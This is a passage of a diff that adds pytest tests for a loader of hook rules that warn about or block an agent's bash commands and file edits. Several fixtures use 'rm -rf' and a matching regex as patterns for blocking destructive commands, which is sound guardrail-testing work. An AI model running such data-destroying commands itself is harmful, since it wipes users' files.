| 137 | +This is a dangerous command! | |
| 138 | +""" | |
| 139 | + rule_file = create_rule_file("valid-rule", content) | |
| 140 | + rule = load_rule_file(str(rule_file)) | |
| 141 | + | |
| 142 | + assert rule is not None | |
| 143 | + assert rule.name == "valid-rule" | |
| 144 | + assert rule.enabled is True | |
| 145 | + assert rule.event == "bash" | |
| 146 | + assert rule.action == "block" | |
| 147 | + assert len(rule.conditions) == 1 | |
| 148 | + assert rule.conditions[0].field == "command" | |
| 149 | + assert "dangerous command" in rule.message | |
| 150 | + | |
| 151 | + def test_load_legacy_pattern_rule(self, create_rule_file): | |
| 152 | + """Test loading rule with legacy pattern (converts to condition).""" | |
| 153 | + content = """--- | |
| 154 | +name: legacy-rule | |
| 155 | +enabled: true | |
| 156 | +event: bash | |
| 157 | +pattern: "rm -rf" | |
| 158 | +--- | |
| 159 | + | |
| 160 | +Old style rule. | |
| 161 | +""" | |
| 162 | + rule_file = create_rule_file("legacy-rule", content) | |
| 163 | + rule = load_rule_file(str(rule_file)) | |
| 164 | + | |
| 165 | + assert rule is not None | |
| 166 | + assert len(rule.conditions) == 1 | |
| 167 | + assert rule.conditions[0].field == "command" # Inferred from bash event | |
| 168 | + assert rule.conditions[0].operator == "regex_match" | |
| 169 | + assert rule.conditions[0].pattern == "rm -rf" | |
| 170 | + | |
| 171 | + def test_load_file_event_legacy_pattern(self, create_rule_file): | |
| 172 | + """Test legacy pattern with file event infers correct field.""" | |
| 173 | + content = """--- | |
| 174 | +name: file-legacy | |
| 175 | +enabled: true | |
| 176 | +event: file | |
| 177 | +pattern: "TODO" | |
| 178 | +--- | |
| 179 | + | |
| 180 | +Found TODO. | |
| 181 | +""" | |
| 182 | + rule_file = create_rule_file("file-legacy", content) | |
| 183 | + rule = load_rule_file(str(rule_file)) | |
| 184 | + | |
| 185 | + assert rule.conditions[0].field == "new_text" | |
| 186 | + | |
| 187 | + def test_load_missing_frontmatter(self, create_rule_file): | |
| 188 | + """Test loading file without frontmatter returns None.""" | |
| 189 | + content = "No frontmatter here" | |
| 190 | + rule_file = create_rule_file("no-frontmatter", content) | |
| 191 | + rule = load_rule_file(str(rule_file)) | |
| 192 | + | |
| 193 | + assert rule is None | |
| 194 | + | |
| 195 | + def test_load_nonexistent_file(self): | |
| 196 | + """Test loading nonexistent file returns None.""" | |
| 197 | + rule = load_rule_file("/nonexistent/path/hookify.test.local.md") | |
| 198 | + assert rule is None | |
| 199 | + | |
| 200 | + | |
| 201 | +class TestLoadRules: | |
| 202 | + """Tests for loading multiple rules with filtering.""" | |
| 203 | + | |
| 204 | + def test_load_multiple_rules(self, temp_project_dir, create_rule_file): | |
| 205 | + """Test loading multiple rule files.""" | |
| 206 | + create_rule_file("rule1", """--- | |
| 207 | +name: rule-one | |
| 208 | +enabled: true | |
| 209 | +event: bash | |
| 210 | +conditions: | |
| 211 | + - field: command | |
| 212 | + operator: contains | |
| 213 | + pattern: test1 | |
| 214 | +--- | |
| 215 | +Rule 1 | |
| 216 | +""") | |
| 217 | + create_rule_file("rule2", """--- | |
| 218 | +name: rule-two | |
| 219 | +enabled: true | |
| 220 | +event: bash | |
| 221 | +conditions: | |
| 222 | + - field: command | |
| 223 | + operator: contains | |
| 224 | + pattern: test2 | |
| 225 | +--- | |
| 226 | +Rule 2 | |
| 227 | +""") | |
| 228 | + | |
| 229 | + rules = load_rules() | |
| 230 | + | |
| 231 | + assert len(rules) == 2 | |
| 232 | + names = {r.name for r in rules} | |
| 233 | + assert "rule-one" in names | |
| 234 | + assert "rule-two" in names | |
| 235 | + | |
| 236 | + def test_filter_by_event(self, temp_project_dir, create_rule_file): | |
| 237 | + """Test filtering rules by event type.""" | |
| 238 | + create_rule_file("bash-rule", """--- | |
| 239 | +name: bash-rule | |
| 240 | +enabled: true | |
| 241 | +event: bash | |
| 242 | +conditions: | |
| 243 | + - field: command | |
| 244 | + operator: contains | |
| 245 | + pattern: test | |
| 246 | +--- | |
| 247 | +Bash rule | |
| 248 | +""") | |
| 249 | + create_rule_file("file-rule", """--- | |
| 250 | +name: file-rule | |
| 251 | +enabled: true | |
| 252 | +event: file | |
| 253 | +conditions: | |
| 254 | + - field: content | |
| 255 | + operator: contains | |
| 256 | + pattern: test | |
| 257 | +--- | |
| 258 | +File rule | |
| 259 | +""") | |
| 260 | + create_rule_file("all-rule", """--- | |
| 261 | +name: all-rule | |
| 262 | +enabled: true | |
| 263 | +event: all | |
| 264 | +conditions: | |
| 265 | + - field: content | |
| 266 | + operator: contains | |
| 267 | + pattern: test | |
| 268 | +--- | |
| 269 | +All events rule | |
| 270 | +""") | |
| 271 | + | |
| 272 | + # Filter for bash events | |
| 273 | + bash_rules = load_rules(event="bash") | |
| 274 | + bash_names = {r.name for r in bash_rules} | |
| 275 | + assert "bash-rule" in bash_names | |
| 276 | + assert "all-rule" in bash_names # 'all' matches any event | |
| 277 | + assert "file-rule" not in bash_names | |
| 278 | + | |
| 279 | + # Filter for file events | |
| 280 | + file_rules = load_rules(event="file") | |
| 281 | + file_names = {r.name for r in file_rules} | |
| 282 | + assert "file-rule" in file_names | |
| 283 | + assert "all-rule" in file_names | |
| 284 | + assert "bash-rule" not in file_names | |
| 285 | + | |
| 286 | + def test_filter_excludes_disabled(self, temp_project_dir, create_rule_file): | |
| 287 | + """Test that disabled rules are excluded.""" | |
| 288 | + create_rule_file("enabled-rule", """--- | |
| 289 | +name: enabled-rule | |
| 290 | +enabled: true | |
| 291 | +event: bash | |
| 292 | +conditions: | |
| 293 | + - field: command | |
| 294 | + operator: contains | |
| 295 | + pattern: test | |
| 296 | +--- | |
| 297 | +Enabled | |
| 298 | +""") | |
| 299 | + create_rule_file("disabled-rule", """--- | |
| 300 | +name: disabled-rule | |
| 301 | +enabled: false | |
| 302 | +event: bash | |
| 303 | +conditions: | |
| 304 | + - field: command | |
| 305 | + operator: contains | |
| 306 | + pattern: test | |
| 307 | +--- | |
| 308 | +Disabled | |
| 309 | +""") | |
| 310 | + | |
| 311 | + rules = load_rules() | |
| 312 | + | |
| 313 | + assert len(rules) == 1 | |
| 314 | + assert rules[0].name == "enabled-rule" | |
| 315 | + | |
| 316 | + def test_load_rules_handles_invalid_file(self, temp_project_dir, create_rule_file): | |
| 317 | + """Test that invalid files are skipped without crashing.""" | |
| 318 | + # Valid rule | |
| 319 | + create_rule_file("valid", """--- | |
| 320 | +name: valid | |
| 321 | +enabled: true | |
| 322 | +event: bash | |
| 323 | +conditions: | |
| 324 | + - field: command | |
| 325 | + operator: contains | |
| 326 | + pattern: test | |
| 327 | +--- | |
| 328 | +Valid rule | |
| 329 | +""") | |
| 330 | + # Invalid rule (no frontmatter) | |
| 331 | + create_rule_file("invalid", "No frontmatter") | |
| 332 | + | |
| 333 | + rules = load_rules() | |
| 334 | + | |
| 335 | + # Should only load the valid rule | |
| 336 | + assert len(rules) == 1 | |
| 337 | + assert rules[0].name == "valid" | |
| 338 | + | |
| 339 | + def test_load_with_no_rules(self, temp_project_dir): | |
| 340 | + """Test loading when no rule files exist.""" | |
| 341 | + rules = load_rules() | |
| 342 | + assert rules == [] | |
| 343 | + | |
| 344 | + | |
| 345 | +class TestRuleFromDict: | |
| 346 | + """Tests for Rule.from_dict construction.""" | |
| 347 | + | |
| 348 | + def test_defaults(self): | |
| 349 | + """Test default values for optional fields.""" | |
| 350 | + frontmatter = { | |
| 351 | + "name": "test", | |
| 352 | + "event": "bash", | |
| 353 | + } | |
| 354 | + rule = Rule.from_dict(frontmatter, "message") | |
| 355 | + | |
| 356 | + assert rule.name == "test" | |
| 357 | + assert rule.enabled is True # Default | |
| 358 | + assert rule.action == "warn" # Default | |
| 359 | + assert rule.message == "message" | |
| 360 | + | |
| 361 | + def test_explicit_values(self): | |
| 362 | + """Test explicit values override defaults.""" | |
| 363 | + frontmatter = { | |
| 364 | + "name": "test", | |
| 365 | + "enabled": False, | |
| 366 | + "event": "file", | |
| 367 | + "action": "block", | |
| 368 | + "tool_matcher": "Write|Edit", | |
| 369 | + } | |
| 370 | + rule = Rule.from_dict(frontmatter, "message") | |
| 371 | + | |
| 372 | + assert rule.enabled is False | |
| 373 | + assert rule.event == "file" | |
| 374 | + assert rule.action == "block" | |
| 375 | + assert rule.tool_matcher == "Write|Edit" | |
| 376 | + | |
| 377 | + | |
| 378 | +class TestConditionFromDict: | |
| 379 | + """Tests for Condition.from_dict construction.""" | |
| 380 | + | |
| 381 | + def test_all_fields(self): | |
| 382 | + """Test creating condition with all fields.""" | |
| 383 | + data = { | |
| 384 | + "field": "command", | |
| 385 | + "operator": "regex_match", | |
| 386 | + "pattern": r"rm\s+-rf" | |
| 387 | + } | |
| 388 | + condition = Condition.from_dict(data) | |
| 389 | + | |
| 390 | + assert condition.field == "command" | |
| 391 | + assert condition.operator == "regex_match" | |
| 392 | + assert condition.pattern == r"rm\s+-rf" | |
| 393 | + | |
| 394 | + def test_default_operator(self): | |
| 395 | + """Test default operator is regex_match.""" | |
| 396 | + data = { | |
| 397 | + "field": "command", | |
| 398 | + "pattern": "test" | |
| 399 | + } | |
| 400 | + condition = Condition.from_dict(data) | |
| 401 | + | |
| 402 | + assert condition.operator == "regex_match" | |
| 403 | + | |
| 404 | + def test_missing_fields(self): | |
| 405 | + """Test missing fields default to empty strings.""" | |
| 406 | + data = {} | |
| 407 | + condition = Condition.from_dict(data) | |
| 408 | + | |
| 409 | + assert condition.field == "" | |
| 410 | + assert condition.pattern == "" |